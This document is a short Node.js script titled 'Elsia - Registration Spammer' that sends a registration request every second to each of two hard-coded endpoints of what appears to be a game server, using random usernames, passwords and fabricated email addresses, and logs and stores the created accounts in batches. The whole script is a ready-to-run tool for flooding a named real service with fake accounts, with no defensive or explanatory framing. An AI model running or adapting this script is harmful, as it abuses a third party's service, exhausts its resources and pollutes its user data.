[JAVASCRIPT] Elsia - Registration Spammer

const request = require('request');
const fs = require('fs');

const timer = 1000;
const domains = [
    'http://elsia.us/pages/Nostale/FR//register/',
    'http://185.13.36.13/FR//register/'
];
const default_options = {
    method: 'GET',
    url: null,
    qs: {
        tac: 'tac',
        kid: '',
        username: null,
        password: null,
        email: null
    }
};

domains.forEach((domain) => setInterval(() => regRequest(domain), timer));

function randomMinMax(min, max) {
    return Math.floor(Math.random() * (max - min + 1) + min);
}

function randomString(min_char = 0, max_char) {
    let text = '';
    const possible = 'abcdefghijklmnopqrstuvwxyz';
    const count = max_char ? randomMinMax(min_char, max_char) : min_char;

    for (let i = 0; i < count; ++i)
        text += possible.charAt(Math.floor(Math.random() * possible.length));
    return text;
}

function genRandomMail(username) {
    return `${username || randomString(6, 12)}@` +
        `${randomString(6, 12)}.${randomString(2, 3)}`;
}

let accounts = [];
let counter = 1;

function addAccount(account) {
    if (accounts.length > 500) {
        fs.readdir("./accounts", (err, files) => {
            const fileName = `${Number(files[files.length - 1]) + 1}`;
            fs.writeFile(`./accounts/${fileName}`, JSON.stringify(accounts), (err) => {
                if (!err) {
                    accounts = [];
                    return;
                }
            });
        });
    }
    accounts.push(account);
}

function regRequest(url) {
    const username = randomString(6, 12);
    const password = randomString(6, 12);
    const email = genRandomMail(username);

    /* Setup options */
    default_options.url = url;
    default_options.qs.username = username;
    default_options.qs.password = password;
    default_options.qs.email = email;

    /* Make the request (would be better with Async/Await but flemme) */
    request(default_options, (err, response, body) => {
        if (err || response.statusCode !== 200 || !body || !body.includes('reg=success')) {
            const error = err || response.statusMessage || 'Unknown error';
            return console.error(`Could not create account (${url}): ${error}`);
        }
        console.log(`[${++counter}]\t${username}:${password}:${email}`);
        addAccount({
            url: url,
            username: username,
            password: password,
            email: email
        });
    });
}